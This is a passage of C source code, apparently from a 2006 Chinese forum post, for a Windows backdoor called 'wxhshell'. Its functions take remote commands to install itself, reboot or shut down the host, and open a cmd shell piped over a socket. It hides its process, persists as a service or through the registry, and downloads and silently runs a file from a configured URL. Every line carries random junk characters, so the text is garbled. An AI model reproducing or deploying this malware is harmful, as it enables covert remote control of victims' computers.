    switch(cmd[0]) { 5y"yd6O]O5  
  MJX m7<(  
  // 帮助 aV(*BE/@F  
  case '?': { lv ^=g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I/)dXk~  
    break; /HDX[R   
  } {+t'XkA  
  // 安装 ~ab"q %  
  case 'i': { oci-[CI,  
    if(Install()) 9HEc=,D|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O!]w J  
    else n5]<|>U vx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LZ ID|-  
    break; >)pwmIn<  
    } Gz@%UIv  
  // 卸载 ._tv$Gd@k  
  case 'r': { dYV)lMJ*  
    if(Uninstall()) +uwjZN'9a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ 9DZ5"  
    else -RH ?FJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =C\S6bF%  
    break; ak;Z;  
    } r$\g6m  
  // 显示 wxhshell 所在路径 4'rk3nT8  
  case 'p': { Y!*,G]7  
    char svExeFile[MAX_PATH]; xG}eiUbM`  
    strcpy(svExeFile,"\n\r"); +ic~Sar  
      strcat(svExeFile,ExeFile); 0 q3<RX>M%  
        send(wsh,svExeFile,strlen(svExeFile),0); b8v$*{  
    break; I@L-%#@R1  
    } 6OTxtk  
  // 重启 kx UGd)S  
  case 'b': {  BW\R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LL6f40hC  
    if(Boot(REBOOT)) "msg./iC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kb7\qH!n  
    else { KuI>:i;  
    closesocket(wsh); yMSRUQ x  
    ExitThread(0); |_=jXf\TL  
    } tc,7yo\".  
    break; QX]tD4OH  
    } Z*ZG5e  
  // 关机 n`:l`n>N$  
  case 'd': { \AK|~:\]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "?9fL#8f*!  
    if(Boot(SHUTDOWN)) $qrr]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &gEu%s^wR  
    else { Vd1K{rH#  
    closesocket(wsh); y?unI~4tC  
    ExitThread(0); 7T2W% JT-,  
    } "+ Qh,fTt  
    break; M K[spV  
    } =0]Mc$Ih  
  // 获取shell [ $"iO#oO  
  case 's': { Nm081ic2<  
    CmdShell(wsh); gaCGU<L  
    closesocket(wsh); .$OInh  
    ExitThread(0); 1)PR]s:-m@  
    break; r?+u}uH  
  } /Bwea];^Q  
  // 退出 8DI|+`OgW  
  case 'x': { 7kwG_0QO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T i/iD2g  
    CloseIt(wsh); p4AXQuOP  
    break; e-K8K+7  
    } q-3KF  
  // 离开 <|`@K| N  
  case 'q': { RYhdf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BxT~1SBFq  
    closesocket(wsh); N7jRdT2k%  
    WSACleanup(); CM#EA"9  
    exit(1); 0$_imjZ  
    break; `i:0dVs  
        } <V8i>LBlz  
  } }mGD`5[`  
  } aKUr":z  
|zT0g]WH  
  // 提示信息 ^+wzm2i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y;>I'e  
}  !fV6KkV  
  } :hr@>Y~r  
k2WO*xa*  
  return; ~R8yj(  
} B*AMo5  
V$_0VN'+Z  
// shell模块句柄 @ixX?N)V  
int CmdShell(SOCKET sock) [;2:lbPx  
{ D vKM>P%|  
STARTUPINFO si; 2Ee1mbZVw8  
ZeroMemory(&si,sizeof(si)); @/u`7FO$&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +UsR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,TtDCcjd%f  
PROCESS_INFORMATION ProcessInfo; w +Z};C  
char cmdline[]="cmd"; 2~U+PyeNz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e ^qnUjMy  
  return 0; m pivg  
} &zd7t6  
qR<DQTO<  
// 自身启动模式 $"(YE #]|  
int StartFromService(void) -U $pW(~  
{ S- \lN|  
typedef struct 8JrGZ8Q4RM  
{ !491 \W0ZH  
  DWORD ExitStatus; E!<$J^  
  DWORD PebBaseAddress; 9C 05  
  DWORD AffinityMask; //,'oh~W  
  DWORD BasePriority; ~.lH)  
  ULONG UniqueProcessId; #]N9/Hij#g  
  ULONG InheritedFromUniqueProcessId; ^k(eRs;K  
}   PROCESS_BASIC_INFORMATION; . R}y"O\  
bLzuaNa'  
PROCNTQSIP NtQueryInformationProcess; }"x*xN  
oMe]dK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )l}wjKfgO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7jbm w<d)9  
I`kp5lGD2  
  HANDLE             hProcess; m wCnP8:K  
  PROCESS_BASIC_INFORMATION pbi; e;'T?&t  
T!A}ipqb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v`w?QIB]  
  if(NULL == hInst ) return 0; L _y|l5  
NETC{:j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c):*R ]=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ko>_@]Jb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _fCHj$I*]  
6)$ N[FNs  
  if (!NtQueryInformationProcess) return 0; 9tEKA|8  
n1>nnH]G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wIj2 IAD  
  if(!hProcess) return 0; E <SE Fn  
G0> Wk#or  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I yN9 +  
({VBp[Mh  
  CloseHandle(hProcess); K-C,+eI  
F s\P/YX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cB}2(`z9 B  
if(hProcess==NULL) return 0; ,O)\,tg  
ZcRm5Du~:  
HMODULE hMod; 3/=QZ8HA&-  
char procName[255]; 1@S6[&_  
unsigned long cbNeeded; RT"2Us]*  
XL=R]IC<.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gVJ#LJ  
`UK+[`E  
  CloseHandle(hProcess); kte.E%.PE  
Q3q.*(#  
if(strstr(procName,"services")) return 1; // 以服务启动 aQ:f"0fL  
)o</gt)  
  return 0; // 注册表启动 -*fYR#VQQB  
} l_-n&(N2<[  
N>Y50  
// 主模块 Z;'.pU~  
int StartWxhshell(LPSTR lpCmdLine) .l5" X>  
{ 08?MS_  
  SOCKET wsl; SvP\JQ<c  
BOOL val=TRUE; k1U8wdoT  
  int port=0; J_E(^+  
  struct sockaddr_in door; f}Tr$r  
xt,L* B  
  if(wscfg.ws_autoins) Install(); ~*c=  
%*q0+_  
port=atoi(lpCmdLine); qg{<&V7fE  
u=}bq{  
if(port<=0) port=wscfg.ws_port; QU!'W&F6  
I*S`I|{J  
  WSADATA data; 3ZlGbP#3w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @dCPa7:>&  
=G F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7XWBI\SW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $,,>R[;w  
  door.sin_family = AF_INET; }lTZq|;A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WriN]/yD  
  door.sin_port = htons(port); H!.D2J   
%e7(HfW-U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L(n/uQ :  
closesocket(wsl); 51 +M_ ~  
return 1; i!$^NIcJ  
} Q_0x6]/!  
h4\6h  
  if(listen(wsl,2) == INVALID_SOCKET) { '(X[ w=WXy  
closesocket(wsl); y2$;t'  
return 1; Cm;qDvj+u  
} )USC  
  Wxhshell(wsl); YQ@6innT  
  WSACleanup(); L##8+OJ.L  
 pl,Z  
return 0; lJzy)ne  
^%%5  
} >-@ U_p  
CCh8?sM  
// 以NT服务方式启动 e_c;D2' F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f THun?Vn  
{ YATdGLTeq  
DWORD   status = 0; .`& /QiD  
  DWORD   specificError = 0xfffffff; 1uS-Tx  
)Ct*G= N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G P[r^Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,;iBeqr5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RYZE*lWUh  
  serviceStatus.dwWin32ExitCode     = 0; ]( =wlq)  
  serviceStatus.dwServiceSpecificExitCode = 0; 4JZHjf0M6  
  serviceStatus.dwCheckPoint       = 0;  AMD?LjY~  
  serviceStatus.dwWaitHint       = 0; ki~y@@3I  
rt^45~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {rvbo1t  
  if (hServiceStatusHandle==0) return; t0J5v;  
LJ(n?/z%  
status = GetLastError(); /uE^H%9h  
  if (status!=NO_ERROR) [)SR $/A  
{ ^[,s_34V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~x4B/zW?  
    serviceStatus.dwCheckPoint       = 0; 8q?;Hg  
    serviceStatus.dwWaitHint       = 0; fQ36Hd?(5  
    serviceStatus.dwWin32ExitCode     = status; <@e+-$  
    serviceStatus.dwServiceSpecificExitCode = specificError; |[37:m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p + l_MB  
    return; 3U~lI&  
  } O GFE*  
~` \9Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xe6_RO%  
  serviceStatus.dwCheckPoint       = 0; %+xwk=%*  
  serviceStatus.dwWaitHint       = 0; r[v-?W'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }, fo+vRM  
} Sq-3-w,R~  
G?ugMl}  
// 处理NT服务事件,比如:启动、停止 JOdwv4(3V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U$A7EFK'  
{ Q-`{PJ(p  
switch(fdwControl) D!RE-w92X  
{ m@Ip^]9ry  
case SERVICE_CONTROL_STOP: fNqmTRu  
  serviceStatus.dwWin32ExitCode = 0; 7SK 3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %[n R|a<  
  serviceStatus.dwCheckPoint   = 0; zvGK6qCk  
  serviceStatus.dwWaitHint     = 0; TsX+. i'  
  { nQ642i%RQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ``|gcG  
  } f#v#)Gp+  
  return; *f TG8h  
case SERVICE_CONTROL_PAUSE: j6e}7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7rdw`  
  break; {x[;5TM  
case SERVICE_CONTROL_CONTINUE: X7H'Uk9:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;V~rWzKM(  
  break; kG$E tE#  
case SERVICE_CONTROL_INTERROGATE: '(*&Ax  
  break; AbF(MK=i  
}; &]VQR2J}:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !{Q:(B#ec  
} {xv?wenE  
CQSpPQA  
// 标准应用程序主函数 -SvTg{Q{la  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RVkU+7  
{ ^`rpf\GX(  
d@4rD}_Z  
// 获取操作系统版本  dd<:#c9  
OsIsNt=GetOsVer(); +5HnZ?E\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V#NG+U.B  
m Ztv G,  
  // 从命令行安装 KZF0rW  
  if(strpbrk(lpCmdLine,"iI")) Install(); ou'~{-_xd  
VT% KN`l  
  // 下载执行文件 gMs+?SNHAh  
if(wscfg.ws_downexe) { i*S|qX7``  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CGC-"A/W  
  WinExec(wscfg.ws_filenam,SW_HIDE); pcy<2UV  
} 5{13 V*<  
<&5m N  
if(!OsIsNt) { yuHZ&e  
// 如果时win9x,隐藏进程并且设置为注册表启动 X(k{-|9]  
HideProc(); > -y&$1  
StartWxhshell(lpCmdLine); :reP} Da7q  
} 3`A>j"  
else |(V?,^b^ro  
  if(StartFromService()) &~~aAg  
  // 以服务方式启动 +Qh[sGDdY  
  StartServiceCtrlDispatcher(DispatchTable); F$Im9T6  
else bVoU|`c  
  // 普通方式启动 76-jMcGi  
  StartWxhshell(lpCmdLine); {~bIA!kAFI  
0n:?sFY>  
return 0; ?;|@T ty%  
}
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只看该作者 1 发表于: 2006-10-10
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